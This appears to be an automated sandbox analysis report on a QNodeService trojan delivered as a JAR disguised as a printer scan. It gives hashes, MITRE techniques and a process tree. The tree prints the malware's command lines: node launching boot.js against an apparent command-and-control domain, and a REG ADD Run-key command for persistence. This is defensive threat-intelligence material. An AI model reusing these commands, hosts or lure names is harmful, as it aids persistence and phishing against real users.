qnodeservice | 712889ab26a68bc90c620870eb8e3f5be8f46cdde742ebc63d6e891ca63b04a5

General

Target

Scanned from a Xerox Multifunction Printer.jar
Size

79KB
MD5

7dba8420e5d72c58298108bb85e0eb96
SHA1

0f54ab5e95fa9639b1262ef8b39d2e2d49d6e467
SHA256

712889ab26a68bc90c620870eb8e3f5be8f46cdde742ebc63d6e891ca63b04a5
SHA512

6f7db07f9332cd77a07a857ea88de507ff8243f6c11f267a3b7a7b07ab9c42775db05dc1f6f12e7c367f92ce43adc5ff2927f940a6580f52e5420402c1bc93ae

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2696	node.exe
3612	node.exe
2332	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\ec0e0a3c-9e6a-4c19-83b8-24e3d1f9200c = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab66-173.dat	js
behavioral2/files/0x000100000001ab66-177.dat	js
behavioral2/files/0x000100000001ab66-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2696	node.exe
2696	node.exe
2696	node.exe
2696	node.exe
3612	node.exe
3612	node.exe
3612	node.exe
3612	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe
2332	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 2212	3996	java.exe	75
PID 3996 wrote to memory of 2212	3996	java.exe	75
PID 2212 wrote to memory of 2696	2212	javaw.exe	79
PID 2212 wrote to memory of 2696	2212	javaw.exe	79
PID 2696 wrote to memory of 3612	2696	node.exe	81
PID 2696 wrote to memory of 3612	2696	node.exe	81
PID 3612 wrote to memory of 2332	3612	node.exe	82
PID 3612 wrote to memory of 2332	3612	node.exe	82
PID 2332 wrote to memory of 3136	2332	node.exe	84
PID 2332 wrote to memory of 3136	2332	node.exe	84
PID 3136 wrote to memory of 296	3136	cmd.exe	85
PID 3136 wrote to memory of 296	3136	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Scanned from a Xerox Multifunction Printer.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\06818f60.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Dr9vwb\boot.js --hub-domain karimrnosa2.home-webserver.de
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3612
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Dr9vwb\boot.js --hub-domain karimrnosa2.home-webserver.de
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ec0e0a3c-9e6a-4c19-83b8-24e3d1f9200c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3136
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ec0e0a3c-9e6a-4c19-83b8-24e3d1f9200c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2332-182-0x000001686B980000-0x000001686B981000-memory.dmp

Filesize
4KB

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memory/2696-175-0x0000027BFC2C0000-0x0000027BFC2C1000-memory.dmp

Filesize
4KB

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memory/3612-178-0x0000038FA9580000-0x0000038FA9581000-memory.dmp

Filesize
4KB

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